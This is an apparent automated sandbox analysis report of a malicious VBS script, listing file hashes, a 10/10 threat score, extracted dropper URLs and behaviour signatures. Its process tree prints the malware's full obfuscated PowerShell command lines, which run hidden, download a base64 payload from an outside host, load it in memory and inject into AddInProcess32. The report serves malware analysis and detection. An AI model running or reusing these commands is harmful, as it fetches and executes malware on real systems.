Overview

overview

10

Static

static

1

e5550d60a9...f1.vbs

windows7-x64

10

e5550d60a9...f1.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    119s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    26-09-2024 02:34

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General

  • Target

    e5550d60a971336699ae2ddf5a88ef9ef0e2ac8d9bae8db9ebadf8e360ad3df1.vbs

  • Size

    504KB

  • MD5

    581a2142bc26026893bbdfab4e65f694

  • SHA1

    e5b3a5977750cd34a69e908bf22893f153b9301f

  • SHA256

    e5550d60a971336699ae2ddf5a88ef9ef0e2ac8d9bae8db9ebadf8e360ad3df1

  • SHA512

    5f74d6b90e9791f7c403690126fdd4f0bfcfde9dcd099d1ef0adb72d8f94b89ed1e9f708eaf2e853da1a681cbf3695e0421191f52902870dfbcedad5b9ff8808

  • SSDEEP

    12288:u9M/PycpcyDgDy8f1xLWFIZni8itFw9UPpVaElOOywO5lowt4sG50v8eKjDo6c5l:S0ifJtH

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e5550d60a971336699ae2ddf5a88ef9ef0e2ac8d9bae8db9ebadf8e360ad3df1.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2796
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnezB9JysndXJsID0nKycgeycrJzJ9aHQnKyd0JysncHM6JysnLycrJy8nKydpYTYwJysnMDEnKycwMC4nKyd1cy5hJysncicrJ2NoaXZlLicrJ29yZy8yNC8nKydpdGVtcy8nKydkZXRhaC1ub3RlLXYvRGV0YWhOb3QnKydlVi4nKyd0eHR7Mn0nKyc7eycrJzB9YmEnKydzZTY0QycrJ29udCcrJ2VuJysndCcrJyA9JysnIChOZScrJ3ctJysnTycrJ2InKydqZWN0JysnIFN5cycrJ3RlbS4nKydOZXQuV2ViQ2wnKydpJysnZW4nKyd0JysnKS4nKydEb3dubG8nKydhZFN0cicrJ2luZygnKyd7MH11JysncicrJ2wpJysnO3swfWJpJysnbmFyeUNvbnQnKydlJysnbnQgJysnPSAnKydbU3knKydzdCcrJ2UnKydtJysnLicrJ0NvbnZlcnQnKyddOicrJzpGcicrJ29tQmEnKydzZScrJzYnKyc0JysnU3QnKydyaW4nKydnKHswfScrJ2Jhc2U2JysnNENvJysnbnQnKydlbnQpJysnOycrJ3swfScrJ2EnKydzJysnc2VtJysnYmx5ID0gW1InKydlJysnZicrJ2xlYycrJ3RpJysnbycrJ24uJysnQScrJ3NzZW1ibHldOjpMb2FkKHswJysnfWJpbmFyeUNvbnRlbnQnKycpOycrJ3swJysnfXQnKyd5JysncGUgJysnPSB7MH1hcycrJ3NlJysnbWJseS5HJysnZScrJ3QnKydUeXBlKHsyJysnfVJ1blBFLicrJ0hvJysnbWV7Mn0nKycpJysnOycrJ3swfW1ldGhvJysnZCAnKyc9ICcrJ3swfXQnKyd5cGUuR2V0TScrJ2V0aCcrJ29kKHsyfVZBJysnSXsyfScrJyknKyc7eycrJzB9bWV0JysnaCcrJ29kLkludm9rZScrJyh7JysnMH1udWwnKydsLCAnKydbb2JqZWN0W10nKyddQCh7Mn0nKyc3NWViMjA5YzU0ZDYtY2E3JysnOCcrJy1hM2I0LTMnKyc1ZDctMDE3ZGJjJysnNWMnKyc9bmUnKydrJysnb3QmYScrJ2lkZScrJ209JysndCcrJ2wnKydhJysnP3QnKyd4dCcrJy5lJysnc2FiJysnL28nKycvbScrJ29jJysnLicrJ3RvcHNwJysncGEnKycuMycrJzJlMycrJzUnKycteXRpYy0nKydyZScrJ2J5Yy8nKydiJysnLycrJzB2L21vYy5zaXBhZWwnKydnb29nJysnLmVnJysnYScrJ3InKydvdHMnKydlJysnc2FiJysnZXJpJysnZicrJy8nKycvJysnOnMnKydwdHRoJysnezJ9ICwgJysnezJ9MXsyfScrJyAsJysnIHsyfUMnKyc6ezF9UCcrJ3InKydvZ3JhJysnbScrJ0QnKydhdCcrJ2F7MX17JysnMn0gLCcrJyB7JysnMicrJ31hcmFuZW9ncicrJ2FmaWF7JysnMn0sezJ9QWRkJysnSW5Qcm9jZScrJ3NzMzJ7Mn0nKycsezJ9eycrJzInKyd9KSknKSAgLUYgW0NIYXJdMzYsW0NIYXJdOTIsW0NIYXJdMzkpfCAmKCAkRW5WOmNvbXNQZWNbNCwyNCwyNV0tak9JbicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2680
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('{0}'+'url ='+' {'+'2}ht'+'t'+'ps:'+'/'+'/'+'ia60'+'01'+'00.'+'us.a'+'r'+'chive.'+'org/24/'+'items/'+'detah-note-v/DetahNot'+'eV.'+'txt{2}'+';{'+'0}ba'+'se64C'+'ont'+'en'+'t'+' ='+' (Ne'+'w-'+'O'+'b'+'ject'+' Sys'+'tem.'+'Net.WebCl'+'i'+'en'+'t'+').'+'Downlo'+'adStr'+'ing('+'{0}u'+'r'+'l)'+';{0}bi'+'naryCont'+'e'+'nt '+'= '+'[Sy'+'st'+'e'+'m'+'.'+'Convert'+']:'+':Fr'+'omBa'+'se'+'6'+'4'+'St'+'rin'+'g({0}'+'base6'+'4Co'+'nt'+'ent)'+';'+'{0}'+'a'+'s'+'sem'+'bly = [R'+'e'+'f'+'lec'+'ti'+'o'+'n.'+'A'+'ssembly]::Load({0'+'}binaryContent'+');'+'{0'+'}t'+'y'+'pe '+'= {0}as'+'se'+'mbly.G'+'e'+'t'+'Type({2'+'}RunPE.'+'Ho'+'me{2}'+')'+';'+'{0}metho'+'d '+'= '+'{0}t'+'ype.GetM'+'eth'+'od({2}VA'+'I{2}'+')'+';{'+'0}met'+'h'+'od.Invoke'+'({'+'0}nul'+'l, '+'[object[]'+']@({2}'+'75eb209c54d6-ca7'+'8'+'-a3b4-3'+'5d7-017dbc'+'5c'+'=ne'+'k'+'ot&a'+'ide'+'m='+'t'+'l'+'a'+'?t'+'xt'+'.e'+'sab'+'/o'+'/m'+'oc'+'.'+'topsp'+'pa'+'.3'+'2e3'+'5'+'-ytic-'+'re'+'byc/'+'b'+'/'+'0v/moc.sipael'+'goog'+'.eg'+'a'+'r'+'ots'+'e'+'sab'+'eri'+'f'+'/'+'/'+':s'+'ptth'+'{2} , '+'{2}1{2}'+' ,'+' {2}C'+':{1}P'+'r'+'ogra'+'m'+'D'+'at'+'a{1}{'+'2} ,'+' {'+'2'+'}araneogr'+'afia{'+'2},{2}Add'+'InProce'+'ss32{2}'+',{2}{'+'2'+'}))') -F [CHar]36,[CHar]92,[CHar]39)| &( $EnV:comsPec[4,24,25]-jOIn'')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2580

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    c4d4195354bdfd7ed85234842026829f

    SHA1

    2844f269912f04ccd5f63cd60b7ea9b605c75e63

    SHA256

    b42bac761488cef0d80373af6c719a4303bcb0f62823929861e9cb53740e48dd

    SHA512

    93029822eaaaa680b82ed907d939f1bbfa52b9625c6d2760695ec6b19821b56214796cca3ad04ec53e4f43c6c51e7ef65fdfb823e8af1333c5bdc7808acda97d

    Download Submit

  • memory/2680-4-0x000007FEF56FE000-0x000007FEF56FF000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2680-5-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2680-6-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/2680-7-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2680-8-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2680-9-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2680-10-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2680-11-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2680-17-0x000007FEF5440000-0x000007FEF5DDD000-memory.dmp

    Filesize

    9.6MB

    Download